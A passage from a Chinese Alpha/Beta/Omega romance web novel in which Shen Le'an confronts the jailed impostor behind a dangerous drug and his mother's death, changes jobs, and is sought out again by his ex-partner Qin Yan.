名单发出去了,联邦的反应速度,应该把人抓的差不多了,那个林致函还是在齐鸿钧那里被逮捕的。 但是那个假扮的杨元然现在还不清楚情况,不知道联邦是否关注到了这个人,沈乐安想起来这人的真实身份,也觉得太过于巧合。 沈家一行人一下车,沈老夫人急得差点摔跤,还是沈序眼疾手快扶住了人,“妈,你悠着点。” 沈老爷子压下刚刚一刹那被她弄起来的惊吓,呵斥道:“急什么,不是都到了!” 沈老夫人没有搭理他,从悬崖那里过来,也不知道是谁一直催着让沈烨开快一点的。 沈烨定了定神,先和那个护士问了问。 留下来的护士忙不迭过来,在认出沈家人的第一时间说明了一下沈乐安的情况,让他们悬着的心放了下来。 秦砚的伤势要重的多,但没有危及生命,沈乐安只是破了一点皮。 沈老爷子松了一口气,不停地道:“没事就好没事就好。” 沈老夫人看过那车祸爆炸的现场,现在心还是慌慌不安,抓着那护士问:“我孙子现在在哪?” 护士:“我们本来是打算让他一起去医院检查一下做个简单的包扎,但他拒绝了,现在正在靠里面的第二间房歇着。” 沈老夫人道:“那麻烦你快快带我们进去。” 沈烨不吭声,也看向那小护士,他也非常担心儿子。 沈序:“乐安出来了。” 沈烨第一时间往沈乐安那里大步走。 护士劝阻的话还没有说出口,那个看起来还算冷静稳重的中年男人就飞快地从她身边离开了。 别无他法,她只好忙不迭拉住身体不算很好的沈老夫人,“沈小少爷和秦少爷待在一块,身上难免沾了Alpha的信息素,秦少爷的信息素排外性和攻击性太强,您还是暂且避一避会比较好。” 沈老夫人也没管那么多,哪里还管什么信息素不信息素的,她孙子现在就是最重要的! 沈老爷子看出那护士的欲言又止,拦下了老伴:“也不差这几步路,你别又摔了。” 护士松开沈老夫人的手,然后硬着头皮说了一句:“您家如果有Beta司机送沈小少爷回去会比较好。”然后也没敢久留,飞速离开。 沈烨还没有完全靠近,就已经心领神会了那个护士给他们传达的意思。 Omega周身弥散出来的Alpha的信息素格外的明晰,松雪的冷凝缠绕在少年的每一寸肌肤,亲昵地黏在少年的脸颊,与少年呼吸交缠,彰显着自己的地盘。 外来的Alpha一旦靠近,那种来自雄性本能的攻击性便油然而生。 沈烨担心的情绪被愤怒极具代替,面色都变得扭曲不堪,脸色黑如墨汁,看着儿子裹在外套下纤细单薄的身影,和埋在围巾里略有几分青色和倦怠的神色。 他又是疼惜又是生气地破口大骂,“秦砚呢?!” 沈董事长第一次这么失态地叫破音,还是在这人来人往的外边,半山腰上回荡着他的愤懑。 沈乐安被迫停在原地,见了鬼似的看向他。 沈老爷子这下也吓坏了,丢下沈老夫人在那,大步一走近,神色也凝重了下来。 沈烨气得牙齿都在颤抖,面容扭曲,仿佛要杀人。 他就说怎么刚刚路上碰到秦家人,秦家一行人一脸歉意,还说什么改天上门赔礼。 原来是秦砚这个不要脸的臭小子……! 沈老爷子看到有飘过来围观的视线,猛地拍了一下沈烨的脑袋,“你都一把年纪当爸爸了还这么不稳重!” 沈乐安不明所以地看着他们两个,“爸爸,爷爷?” 沈烨看着不谙世事的儿子,又想起来今天看到他给他发的那条疑似交代遗言的短信,眼眶红了一圈,绷着脸,一时有点不知从何讲明。 沈老爷子虽然生气,但一把年纪,修身养性,没有当众发作,叫来沈序充当司机,然后又把沈老夫人生拉硬拽上了另外一辆车。 沈老夫人战斗力极强,秦砚毕竟还伤重呢,跳车应该是秦家那小子护的乐安,伤也是为乐安受的,还在重伤,现在闹起来,秦家那边也不好看。 于是沈老爷子一关上车门,就被沈老夫人毫不收力地甩了一巴掌,“乐安怎么了,你他妈敢瞒我试试?” 沈老爷子气定神闲的态度也没了,大骂一声:“肯定是姓秦的那不要脸的狗东西!” 沈烨坐在驾驶位,顿时不敢吱声。 沈乐安跟着沈序上了车。 还在为刚才爷爷和爸爸的奇怪反应疑惑,转头问沈序,“秦砚做什么惹到他们了?” 沈序是个Beta,对信息素没有什么感知,也不是很清楚,但还是转述了一下那个护士的提醒。 沈乐安想起来刚刚在房子内那个护士的避之不及,又回忆了一下出来之后,自己身边似乎也没有什么人敢靠近,表情有点古怪。 他对秦砚的信息素几乎要习以为常,所以不特别注意,会很自然的忽视它。 沈乐安问:“我身上信息素味道很浓?” 沈序表示无能为力:“Beta对信息素不敏感你忘了?” 沈乐安差点忘了这茬,只好关了车窗,自己低头仔细闻了闻。 秦砚的信息素萦绕鼻尖,此时此刻,还兴奋的到处乱窜。 沈乐安有点僵硬地坐直了身,回忆着自己从秦砚的房间里面出来到隔壁房再走出外面,然后进了车到底花费了多长的时间。 少说有一个小时。 一个小时,他身上还有这么浓的Alpha信息素残余! 他妈的!! 秦砚到底在他睡过去之后还对他做了什么!!! 第70章 第 80+81 章 这个春节, 沈家并没有以前那般热闹喜庆。 从半山腰独栋回来之后,没有人再提起秦家的事情,因为沈乐安发了两天的烧, 高烧不退, 吓坏了沈家的几个长辈。 沈老爷子还没来得及和孙子询问和秦砚是什么回事,沈华章那边就先一步有了消息。 沈家一行人一听沈华章可以放出来了,自然也急忙赶过来了,但沈老爷子也没想到在拘留所等他们的竟然是齐鸿钧。 沈家现在不涉联邦军, 军方元首却出现在此处等他们家的人,沈老爷子以为他想问沈烨姜家的事情, 还是客套地与他打了声招呼。 齐鸿钧与他寒暄了两句,才道:“乐安身体怎么样了?” 沈老爷子道:“刚回来就发了高热,烧了整整两天,现在已经痊愈了, 休养的不错。” “年轻人身体好, 但可不能瞎霍霍, 不然老了得受罪的。” “是这个道理,”沈老爷子道, “要不是他今天非要过来, 我还不愿意他出来吹风呢。” 齐鸿钧略表歉意道:“今天是我约了他, 也是忘了他病刚好。” 沈老爷子瞥了他一眼,说道:“乐安还小,不是很懂事, 您有什么事可以找他爸沈烨。” 齐鸿钧听出他的维护之意, 笑道:“不是我找他, 杨元让想见他一面。” 听到这个名字,沈老爷子也恍然了一瞬。 杨管家有两个儿子, 一个是杨元然一个是杨元让,但杨元让据说早年身体不好,因病去世了,谁能想到他竟然会假死后加入反叛军,甚至在杨元然在国外治病的时候冒名顶替了他的身份回来,又囚禁兄长,搞出这么多事情呢? 杨元让还是在姜家从小长大的,那么当年姜家的意外,他又参与了多少? 齐鸿钧拍了拍他的肩,安慰了几句,然后把沈乐安顺走了。 他们的对话沈乐安其实没有多大的兴趣关注,但齐鸿钧原本只是私下邀约他,现在出现在沈家人的面前,还当着他的面和他爷爷说了话,明显在点他。 车祸那天在车上他用小号发的那条动态确实因为事出紧急,没有和他们打过招呼,而且他还让沈家跟着有了动作,当然有利用联邦的嫌疑。 齐鸿钧看他一脸内敛安静装死的模样,扬了扬眉:“当初过来见我还齐爷爷的喊,现在不知道叫人了?” 沈乐安从善如流:“齐爷爷。” 齐鸿钧严肃着表情,忽然开口道:“你知不知道你未经允许在网络上传播重要文件是属于严重违纪,因为你的突然动作,打得我们猝不及防,险些造成重大失误。” 突然的发难明显是早早做好了准备,毕竟犯了事。 沈乐安却一点也没有害怕的意思,避重就轻道:“当时情况紧急,我无法保证证据是否还能妥善存留,避免再一次重蹈外祖家的覆辙,我一时情急,就直接传到网络上了。” “要是那时候真出了意外,我想着至少那些东西还在,联邦不会因此失去重要的证据。”沈乐安虚虚地叹了一声。 提了姜家和车祸,明显在打感情牌。 齐鸿钧并不入套,声如洪钟:“别以为我人老昏花什么都不知道!那后面秒删和沈氏的发文以及那些找来的水军是什么意思?” 秒删当然是为了炒热度,和沈氏的合作也是当时连夜给人转过去的,沈乐安当然不会说这些,只微微一笑道:“毕竟那是个不知名的小号,我发完才发现有点不妥,直接删了,后来没有再操作是因为车子已经不受控了。” 齐鸿钧眼神淡淡地看着他。 沈乐安不为所动,丝毫没有悔意:“让民众监督难道不是非常好的维护公正的方式吗,正好可以重新建立一下联邦军方的威信,毕竟这次联邦可以说是重伤。” 舆论是一把刀,能利用的好当然是会令人闻之色变,饶是林致函再游刃有余,也因为沈乐安这一番完全不按照规矩公开撕破脸的行为打的措手不及。 如果没有公开这些,以林致函的本事,也许还有机会抽身,但一旦放在太阳底下来办,联邦不想被舆论攻死,必然不会留半点情面。 这小家伙估计是知道林致函和他还有一层师生关系,担心自己徇私,所以刻意提防着自己呢。 齐鸿钧轻拍了一下少年的脑袋,虎着脸道:“这不是你在实验室,结果说一是一,做事太锋利会招人嫌的,下不为例。” “谢谢齐爷爷关心。”沈乐安观察了一眼他的神色,悄悄松了口气,齐鸿钧突然发难,确实给人压力不小。 说话间,两人已经走到了地方,看守在门口的人冲着齐鸿钧恭敬的敬礼,“元首。” 齐鸿钧微微颔首,转而对沈乐安道:“先进去吧,就在里面。” 沈乐安点点头,推门而入。 对于这位假扮了杨元然身份多年的杨元让提出想见他一面的事情,沈乐安其实是非常不解的。 这些年虽然偶尔和‘杨元然’有走动,但平心而论,他们关系还没有熟到那种地步。 屋内放了一张不大的桌子,相对放了两个椅子,杨元让坐在偏里一侧。 坐在小小的无窗房内的男人手上还带着镣铐,身上还是进去前穿着的西服,几日未换,失了高档的洁净,但他并没有因为在这逼仄的地方和此种处境而失了半点风度。 “许久不见,乐安,”杨元让还是当初那副‘杨元然’的口吻,笑道,“坐吧。” 沈乐安拉开凳子坐下,看着他一脸和蔼,倒也没有什么与他寒暄的心思,只是打量着他道:“杨叔,姜家和沈家和你结了什么仇?” “没什么仇。”杨元让笑着道,“只是很刚好的阻碍了我的事业发展,我才无奈用了这些方法罢了。” 杨元让的动作很优雅,自顾自地倒了杯水,说话的声音十分的温和,仿佛只是在提及一件小事。 “方法就是完完全全的失去自己的身份,然后伪装成另外一个人苟活?”沈乐安支着下巴盯着他,“杨伯父知道你还活着原本应该高兴的,但是现在却没有任何想要认你的意思呢。” 杨元让动作微不可察地慢了一瞬,而后掩下那点单薄的情绪,淡声道:“基因进化药剂能够有这么大范围的普及,甚至让联邦高层都如此动心,我的事业已经获得了巨大的成就,其余的瑕疵只会是饭后一点谈资。” “你是指已经被我破解掉的失败药品?” 杨元让表情冷了下来,目光落在沈乐安的身上,随后掀唇道:“你的抑制剂刚好能够补足我药剂的最后一点缺陷,难道不是吗?” 沈乐安有点怜悯地看着他:“联邦不会允许一个具有危害身体健康的药剂存在于世,何况现在舆论全部关注在这个反叛军弄出来的违禁药剂身上,你觉得联邦不会有动作进行药物危害的普及吗?” 杨元让猛地拍了一下桌子,声音发狠,方才的温和顷刻间化为乌有,面色扭曲:“你们这是污蔑!我的药剂没有任何的危害!这是代表未来高人种进化的药剂,联邦怎么可能以一己私利将其抹杀!” 沈乐安轻轻靠着椅背,弯唇笑道:“拔苗助长的东西还指望健康发育?” 杨元让赤红着眼睛盯着他,终于记起来今天让他过来的目的,顷刻收敛了情绪,恢复平和:“你是怎么在短短几个月时间想出法子解决掉我药剂的缺陷的?” 刚刚的怒火仿佛是沈乐安的错觉一般。 沈乐安扫了他一眼,没想到他竟然是找他来问这个,不过还算耐心地解答道:“你的药剂让体内的激素分子激增,想办法消融掉就是。” “不同信息素分子结构不同,怎么结合消除?” “信息素匹配利用的不就是信息素分子上面的‘雷达’?”沈乐安道,“让它失效,那就都是百分百的匹配了。” 杨元让思索片刻,了然,“你比他们那群蠢货要聪明,我倒是没看错你。” 当初在沈乐安在沈氏险些发生信息素暴动,还是杨元让发现及时送去的医院,那时候杨元让中途放弃了搞死他的想法,不会是因为那时候刚好他在沈氏优化了抑制剂的研发吧? 沈乐安因为这人的脑回路感到恶寒,拧了拧眉道:“我妈妈的死是你做的?” 得了答案,杨元让心情破好,“我只是给她换了更好的新药而已,为药剂研发做贡献,你妈妈并不亏……” 后边的话戛然而止,被沈乐安一拳打断。 杨元让的镜框也砸到了地上,眼角被镜托划出一道红色的血痕,表情倏然冷了下来。 沈乐安握拳,指尖微微陷入皮肉,细密的痛感勉强令他清醒了一些。 AO力气还是有差别的,何况沈乐安还没有常年锻炼的意识,杨元让脸皮太厚,这一拳不痛不痒,如果换做秦砚,估计杨元让现在笑不出来。 “至少我也帮助她也隐瞒了这么多年文件在她那里的事情不是吗?”杨元让道,“不然你以为你们沈家能相安无事到现在?” “隐瞒?”沈乐安拍了拍手上沾上的灰,慢条斯理地坐了回去,“不是你压根没找到吗?连火都一起放了,谁知道杨元然叔叔会及时出现救了我和我爸呢。” 提到当时杨元然的坏事,杨元让表情很淡。 沈乐安笑笑:“污蔑我妈妈的声名也是希望沈家将她的东西全部丢了方便你们找吧,谁知道我全部留了下来,倒是影响了你们做事。” 什么狗屁怀孕,沈乐安重新去查的时候可一点都没有看出来,分明是当初有人造假,但是这种豪门丑闻,加上沈烨并不愿意走漏消息,也就放着不深究了,不然真的查起来,他妈妈九泉之下都不得安生。 杨元让垂眸看向他:“你从哪里找到的?” “她放在我的生日礼物里面送给了我。”沈乐安回他。 杨元让淡然从容的表情不在,难掩错愕地看向他。 怎么会呢? 一个六七岁大的小毛孩? 那么重要的东西,就随便给到了他的手上? 沈乐安也没有再回答他的难以置信地追问,起身理了理衣服,居高临下地看着他道:“我妈妈的那本日记本你一定翻过吧,亏她还祝福你前程似锦幸福喜乐,你还真的不配。” 日记本的事情也是沈乐安知道杨元让的事情才想起来的,姜叶写的那句话看起来像是祝福,但是‘在那边’这个地点太过于含糊,像是一种隐喻,但现在对上杨元让‘死’的时候的日期,他就知道那个圆圆指的是谁了。 不是性格开朗受人喜爱的杨元然,而是一直不受人重视,性格孤僻,胆小内向的杨元让。 姜叶当初拿自己画画那事情教育他不要半途而废的时候,就说过这些道理也是从另外一个已故的朋友身上学到的,这人估计说的就是在科研事业上被所有科研所拒绝过但依旧铁了心要做出一番事业的杨元让吧。 至于那本日记本为什么笃定杨元让一定看过,还是因为当时秦砚说过,那本日记本应该有人时常翻动。 沈烨哪怕会偶尔去姜家,但是哪怕每次回去翻,也做不到时常两个字,应该还有另外的人也翻过,而有圆圆记录的页面也因为常翻动的原因,页脚有点深色,杨管家在家,儿子会时不时来看他,那这个人是谁便不言而喻了。 方才还执着的杨元让沉默了下来,一言不发地坐在原位。 沈乐安头也不抬地转头出了门。 齐鸿钧见他出来,问道:“聊完了?” 沈乐安嗯了一声,道:“他和您交换了什么条件,您答应他让我过来。” 齐鸿钧没有隐瞒:“现有的药剂加工厂地址。” 沈乐安点点头,“希望联邦早日处理完,免得祸害群众。” “他当年为了研发这款药剂基本上走完了国内的科研所,有科研人员当着他的面侮辱过他,可能是因为这个让他不幸走上了歧途,”齐鸿钧道,“如果不是性子歪了,也许也是国之栋梁。” 沈乐安只淡声道:“做科研怎么可能一切顺遂的呢?” 实验动不动失败很正常,随便一点什么就容易心态不好,时常想发疯,这不是日常小事? 齐鸿钧瞥了他一眼,险些忘了这小孩也是和那群天天拿的他一个字都不懂的玩意来他面前吵架要经费的科研同事是一个群体,忙不迭转移话题道:“秦砚已经基本上没有什么大碍了,但是最近还在医院里面待着,徐家那孩子已经帮他开始治疗信息素疾病了,他最近应该还不能主动来找你,但你想找他还是可以的。” 信息素暴动的治疗流程会有一段时间,秦砚不能出来,正好足够沈乐安处理好他们的关系。 思及此,沈乐安转头看向老人,面不改色地道:“齐爷爷,我和秦砚确实关系不错,您如果担心他的身体状态,我下次去会顺便帮您看看他的。” 齐鸿钧扬眉,觑了他一眼,笑呵呵道:“你们现在的年轻人啊,吵架伤感情。” 沈乐安不再解释,转而道:“有件事想请您帮个忙。” 齐鸿钧:“说吧,什么事?” 沈乐安:“我现在的工作开展和岗位有点难以兼容,在联邦军校内会两头耽搁,所以想申请转个岗。” “你想去哪?”齐鸿钧思索片刻,也觉得有点道理。 “我还是目前新药剂的研发负责人,希望可以主攻于此。” 这都专门去哪看着人了,还说不是什么关系呢。 齐鸿钧笑眯眯地看着他,也没调侃,应下:“准了准了,回去就给你调。” 听到这话,沈乐安也稍微松了口气。 现在他又不用天天过去,等年后去,估计秦砚也差不多治疗好出院了,联邦军校和联邦医院不在一个地方,碰面的机会也约等于无,什么都能淡下来。 这也是沈乐安原先和秦砚决定谈的时候找回的分手后解决尴尬的退路。 总结来说,眼不见为净! — 转去新的岗位办的非常顺利,沈乐安提前做好了入职的事宜,原先的那个校医岗位也转了另外的人进来。 春节是重要节日,学生们放假,教职工也有假期,原来办公室和宿舍里面的东西,沈乐安等到节后才过来的学校,准备全部搬走。 放在宿舍和办公室内的东西当然也不好说都丢了,那和在秦砚那住还是不一样的,衣服什么的也就算了,关键还是一书柜的手办,沈乐安好不容易收集来的,一个都不舍得弄丢。 打了一番申请报告,沈序才能开车进来,帮他搬宿舍里面的东西,至于办公室里面的,沈乐安是亲自过去自己处理的。 陈悦刚复职回来,得知沈乐安离职今天过来搬东西的消息,便去了他的办公室找他。 沈乐安已经收了一个小箱子,小冰箱内还没喝完的酸奶也全部取了出来,看到陈悦,便道:“陈姐,来得正好,接下来几天的早餐奶提前帮您解决了。” 陈悦失笑道:“你来这没多久,东西倒是不少。” 这话说的倒是没有错,里面还有好几箱的零食,都是沈乐安买的,正好全部送出去。 沈乐安插了一瓶酸奶给她,问道:“您什么时候复职的?” “节后回来没两天。”陈悦道。 “这次害您差点丢了工作,我很抱歉。” 陈悦摇头:“反叛军卧底的事情和你有什么关系,谁能想到人家在校内都有自己的换货渠道呢?这也是我的职责疏忽,没能及时发现,这才造成了意外,好在那个学生被你及时转去了实验室那边没有出意外,对我们来说,学生的生命安全才是大事。” 她提了那个学生,便想起来问了一句:“他现在身体怎么样,能出院了吗?” 那个学生因为联邦军校的意外死亡的消息被证明是谣传,后来还有官方的报道证明他现在已经脱离了生命危险,别说联邦军校,就那个学生的本校也稍微放了心。 学生出事,不光是家庭重创,对于学校的师生来说,都是重要的人才损失和学校声誉受损,没有人希望还在幼苗时期的孩子因为这些肮脏的事情出现事故。 沈乐安道:“您放心,他现在已经基本上痊愈了,没有出院是为了观察有没有可能有后续的不良反应,现在来看是一切正常的。” 陈悦这才放下了心,“也多亏了你这个药剂的及时研发啊。” 沈乐安笑了笑,倒没有什么谦虚的意思,大方应下。 “从这离职后去哪,定下了吗?” “负责主持药剂研发的项目,会在联邦医院待着吧。” 知道不是降职,陈悦真心与他道喜,不过看着他满满收拾干净的办公室,又调侃了一句:“你走,秦教官也离开,学校这次教职工人才损失不小。” “……哪个秦教官?” 陈悦意味深长地看了他一眼,“就是上次被你赶出门口的那位秦教官。” 沈乐安:“……” 陈悦:“他今天也来了学校,你们没有碰到?” 沈乐安垂了垂眼皮,“没怎么联系,我也不是很清楚。” 陈悦听出他话里面的撇清关系之意,默契地没有再提,与他又说了几句,便从办公室离开了。 沈乐安盯着那个秦砚买来的小冰箱看了几眼,认真思考了一下,估计自己拿回去也用不上,琢磨了一下,又把小冰箱从箱子里面取了出来,然后给沈序发消息,等会过来把他收好的东西拿回家。 沈序这会应该还在搬宿舍里面的东西,还没有回消息。 沈乐安看了眼时间,关了办公室的门,给唐洛安发了条消息。 林教授的课今天是最后一节,上完这个课,之前的联合课程也算是基本上结束了,他刚好又要离职离开,所以也提前约了唐洛安和唐邵去食堂吃个饭。 他原本想去常去的那个大食堂,但想到陈悦今天说的事情,又有点担心撞上秦砚,斟酌片刻,还是给唐洛安发了消息,等会下课直接过去教学楼附近的小食堂约饭。 他低着头边往外走边回消息,手机屏幕上落了一点水珠,这才让他被迫停了脚步,略微抬了抬头。 视野中是一片淅沥沥的雨花,密云遮天,光线也暗了几分,雨点落在刚长出几株新叶的嫩芽上,有伶仃的响动,砸在撑开的大伞上,音调便多了一点沉闷。 男人手里握着的是一把黑色的大伞,在树底支开黑面,穿着沉闷黑调的风衣,笔直而端正地站立于地,身形颀长,宽肩窄腰,容貌冷峻出众,神色平静和从容。 只是在少年看过来的一瞬,男人目光微定,握着伞柄的手微微收紧了一分。 细细算来,他们有整整四十天没有见过面,但沈乐安没什么变化,倒是秦砚似乎身形瘦了一点。 这四十天里面,沈家没有找过秦家,沈乐安也没有和秦砚发过任何消息,甚至有过任何的交集,他来过实验室,但是仍旧没有来见他。 秦砚给他发过信息,但信息一发出去,便发现自己被他删除了,其余的联系方式一起拉黑的干净。 那天在半山腰的别墅里面,他自以为他们的和好,确实是个错觉。 秦砚第一次被人这样对待,他甚至非常生气的决定不要再搭理这个没良心的小少爷,但最后还是再一次放下了底线,过来找他。 在看到沈乐安装作没看见又低回视线的躲避样时,秦砚抿了抿唇,压下心口的翻涌,抬步走了过去。 沈乐安确实觉得有点尴尬。 原因还是前不久自己将秦砚的联系方式全部拉黑了,说起来也是有点自作多情,他从齐老那里得知秦砚身体好转的事情之后等过他消息,徐应尧还专门提了秦砚转去六号房治疗的消息,但从头到尾,也没见秦砚主动和他说过什么,不过他们毕竟还是前任的关系,秦砚当然也不会过多与他有交集。 所以和爷爷解释完,撇清关系,当晚他就干脆直接把秦砚的微信什么的也一起删了。 一个多月没见,也没有撞见过秦砚,原以为对方知道了自己的意思,没想到还会在这里碰见他。 沈乐安低着脑袋,注意力完全没有在手机上,想走,但外面下着雨,回去又担心碰到陈悦,被人撞见,进退维谷。 秦砚停在他的身前,语调平静:“去哪?” “和唐洛安他们约了在小食堂吃饭。” 沈乐安下意识就秃噜了嘴,反应过来,讪讪岔开话题,“你来这干什么?” 秦砚:“找你。” 沈乐安:“……找我?” 秦砚抬手,将他纳入伞下的范围,未做解释,“我送你过去。” 没说挂电话的事,也没提拉黑,甚至没看出来有什么情绪变化,沈乐安偷偷瞄了他一眼,有点理想化的猜测,或许他后来没有再打给他,也没有再给他发过什么消息了,所以没发现也有可能。 就连那个暧昧的昵称他都没有再说起,应该是信息素降了下去,所以脑子也清醒了。 毕竟说了不会死缠烂打的也是秦砚,当时在小别墅里面他们发生那种事情,也是被逼无奈。 黑色的屏幕映出少年平直无波的唇瓣,两滴水痕挂在屏幕上少年倒影的嘴角一侧,往下滚了滚,仿佛嘴角挂了两个小油瓶。 沈乐安指腹在手机屏幕上滑了滑,擦掉了多余的水珠,也没有拒绝他的帮助,毕竟他现在确实没有伞,还得过去食堂。 前任做到秦砚这份上也是没谁了。 哪怕在狭窄的伞下,沈乐安还是板着脸与秦砚保持了一定的距离。 走入雨中,还有学生路过,快到食堂时,恰好撞见与唐邵一起过来的唐洛安,对方明显有点意外于身旁的秦砚。 沈乐安反应过来他们不知道什么时候过于贴近的距离,下意识便想往旁边挪。 Alpha手一拽,原本的间距便消失殆尽,沈乐安几乎贴上了他的胸膛,外人看来,Omega仿佛被人拢在怀中。 沈乐安有点被砸蒙了,贴的太近,略有点失神,反应过来想骂他,便听到秦砚拧眉道:“淋到肩膀了,往里站一点。” 秦砚扶他站稳,松开手,又轻轻抚了抚他肩侧的水珠,好似因自己无意鲁莽的行为表达歉意。 沈乐安压下埋怨,不好说什么,扯了扯衣领,还是忍不住瞪了他一眼。 秦砚悉数接受,只是侧过身时,不经意地看了唐邵一眼。 秦砚已经调职,不算是唐邵的教官,之前的教导经历让唐邵对这位教官的性格有一定的了解。 唐邵自认为在训练场上,已经亲身感受过秦砚最无情最冷酷的一面,但此时此刻,脱去教官的训练服,剥离掉为人师的身份,站在另外一个竞争面上时,唐邵才真正直面眼前Alpha的狠辣。 Alpha幽深的曈眸只轻轻一瞥,带着警告,如似守着私域的猛兽,冷血无情藏在平静的表皮之下,对于外来的闯入者有着强烈的攻击性。 唐邵有种毛骨悚然的后脊发凉感,他简直欲哭无泪。 他之前怎么完全没有听说过秦大魔头已经有了对象,这人还好巧不巧是乐安哥啊? 唐洛安也有点意外,毕竟沈乐安原本是说今天只有他们三个人的,但秦砚跟进去的样子非常的自然,像是沈乐安后来邀请过来的。 秦砚这个人,唐洛安还是有印象的,毕竟之前有过一顿饭的交集,而且自家弟弟还是他的学生。 所以他突然过来一起吃饭,唐洛安也自然地默认了。 他们两个没有说什么,沈乐安也有点不知道从何开口,毕竟这里是食堂,秦砚过来蹭在他们旁边的位置,也实在不好说些什么。 担心他们误会,沈乐安打饭的时候便主动道:“我出门没有带伞,秦教官刚好路过,所以就一起过来了。” 唐洛安道:“没事,听小邵说秦教官也刚好离职要走,毕竟也是小邵的教官,一起吃饭送送也没什么。” 沈乐安转头看向唐邵。 唐邵还有点神游,见沈乐安目光看过来,有点状况之外地问了一句:“乐安哥,怎么了?” 沈乐安:“……” 秦砚侧眸看向沈乐安。 沈乐安看见秦砚手上已经做事周全地替他们三个人一并拿了筷子和勺子,深觉无力,只好咽下了赶走秦砚的借口,改口道:“你挑个里面一点的位置。” 秦砚顺从地嗯了一声。 三人局就这么变成了四人局。 沈乐安以前没有觉得秦砚这人存在感有多强,现在也不知道是不是因为自己想法变化的原因,他觉得秦砚仿佛成了一个电灯泡一样显眼。 秦砚没有怎么说话,更没有怎么参与话题。 但沈乐安就是觉得处处怪异,当着他那双黑漆漆的眼,和唐邵多说两句,空气都有点说不出来的凝固。 当然,这里九成还有唐邵今天也是格外沉默一声不吭的缘故。 秦砚毕竟是唐邵之前的教官,他听说过秦砚当教官的时候威风凛凛的模样,也难怪唐邵今天因为秦砚在场会不怎么活跃,跟蔫了的白菜一样。 沈乐安不想搭理秦砚,自然也没有多给他一个眼神,转头和唐洛安商量起了已经研发进入尾声,马上要开始进入市场的全息游戏设备。 唐邵不怎么开口的原因确实有很大程度是因为秦砚。 如果刚刚进来的时候看到他们两个,只是有一点猜测,那吃饭的时候,发现秦教官竟然自然地从乐安哥那里将乐安不喜欢吃的菜夹走吃掉,乐安哥似乎还没有什么太大反应的时候,唐邵基本上已经心死了。 还没有开始恋爱就失恋,对方还是比自己强了不知道多少倍的情敌,唐邵连一点参与竞争的想法都没有。 一整个吃饭的过程,唐邵都在哀悼自己死掉的暗恋,但又庆幸乐安哥转了地方工作,不会再见面,伤心也不会往复,他有点小小的失落,又有点无名的释然。 吃完饭要离开时,唐邵还是顶着秦魔头冷冽的视线,把原先早早准备好的礼物送了出去。 唐洛安也送了一份,又道:“游戏发布后赚了钱,再给师兄买更好的。” 沈乐安收下,笑道:“谢谢。” 唐洛安和唐邵一走,沈乐安瞥了一眼已经天晴的小道,与秦砚说了声谢谢,转头抬步离开。 秦砚没有说什么,紧随其后。 沈乐安没走两步,被迫停下来,看向他:“秦教官还有事?” 秦砚目光从他手上的礼物袋处收回,提醒道:“我是你的保镖。” 沈乐安:“现在事情已经解决了,我不会有什么危险,不需要你的保护。” “上面没有给我取消任务的指令。” “你可以给他们说明情况,然后回去军队。” 秦砚将伞往他的方向挪了挪,挡去迎风落在少年另外一侧的雨雾,回道:“我不会干涉组织的安排。” 沈乐安回想起之前这人当保镖贴身到他这个雇主都差点给他搞死的劣迹斑斑。 他这个雇主养了足足一个月,那些痕迹和酸痛才消除干净呢! 想起来当初稀里糊涂的事情和现在还没有完全解决的从别墅出来时引起的误会,以及秦砚这一个月杳无音信的治疗,烦躁便涌上心头。 沈乐安恶狠狠地瞪了他一眼,道:“你不要跟着我。” 秦砚听出他的不耐,也听出他的不虞。 当初父母争执得来的经验秦砚还记得,迟疑了两秒,原本还想质问他的秦砚话到嘴边改了口:“对不起。” 沈乐安:“……” 沈乐安不知道他葫芦里卖的什么药,压下心中的微妙,只好再次停下,拧眉问他:“秦砚,你找我到底想干什么?” 少年不为所动,表情也没有丝毫的变化,略有几分不耐烦地看着他。 秦砚抿唇道:“有事想要和你谈谈。” 沈乐安耐下性子,道:“你说清楚。” 沉默数秒,他才道:“安安。” 秦砚语气很温和,带着一股包容的轻调,深蓝的瞳孔将少年的表情变化全部收入其中。 听到那声称呼,沈乐安眼皮颤了颤。 “你挂了我的电话,没有回复我的消息,甚至把我的联系方式拉黑。” 不见丝毫怒气和波澜的控诉和逼近的距离令Omega多了几分不淡定。 沈乐安皱着眉头,抬头看向他,心中因为他的不按套路出牌的示弱而心绪微乱。 秦砚扣住他的手腕,顺势取走了他手上的那两份外人送的礼物,然后将他堵在方寸之间,低头声音带了一点与以往不同的无奈问他。 “为什么要躲着我?” 70-74 第71章 第 82+83 章 沈乐安没有作何解释。 沈序的出现让他有了借口离开。 车子一路开出校外, 沈序才忍不住道:“秦砚刚刚对你做什么了,我要帮你教训他,你还反倒拦起你自家叔叔了?” “你打不过他。”沈乐安睨了他一眼, 实话实说。 沈序被他一噎, 顿时不知道该说些什么,愤愤不满道:“沈乐安你站谁那边的?” 沈乐安不吱声,还在想刚刚秦砚有点可怜兮兮的质问,转移话题道:“这些东西麻烦小叔给我搬进我新屋的书房里面, 手办得摆整齐放架子上。” 沈序压根没有顺着他的话走,直白问道:“你和秦砚到底怎么回事?” 沈乐安:“没什么事。” 沈序冷哼一声, “别以为我什么都不知道。” 沈乐安闻言,瞥了他一眼。 沈序:“当初你进去联邦军校前在那个‘遇见’吃饭的时候,就指着人家说是你的菜呢,别以为我忘了。” 时隔太久, 沈乐安差点忘了当时见秦砚第一面口出狂言的时候旁边好像确实还有一个沈序。 “谈过, 分了。”瞒不过他, 沈乐安索性坦白。 “真的假的?!”沈序一脸震惊,这会儿也不摆叔叔的谱了。 沈乐安白了他一眼:“假的。” 沈序不信:“你别忽悠我。” 沈乐安懒得和他解释, 给他下好指令:“秦砚的事情我会处理好, 什么关系你也别管, 不许和家里说,包括他今天来找我的事情。” 沈序:“……到底谁才是长辈,也不知道有没有人记得。” 沈乐安没有搭理他无病呻吟。 新住址是沈乐安亲自挑的, 和新的工作地距离很近, 驾车十五分钟左右, 小区的绿化和安保也不错,一层两户, 所以房子的空间也很大,比当时在联邦的小宿舍要大得多。 沈序帮他搬了东西,又找人做了清洁,当天晚上,沈乐安就直接入住了。 自己对门的那户邻居,听沈序说对方似乎没有怎么来这里住过,少了无意义的社交,舒适度更高了。 上班工作相对弹性,内容是自己熟悉擅长的,住处条件又好,沈乐安觉得新工作一切顺利。 新抑制剂的研发逐渐成熟,上面也安排了其他的研究员过来,沈乐安入职第一天,和新来的研究员挨个认了一下面孔。 其中一位姓叶,名字还是文绉绉的,叫做叶白杨,同样也是刚来的研究员,还是沈乐安的校友兼师弟,为人外向开朗,格外的热情。 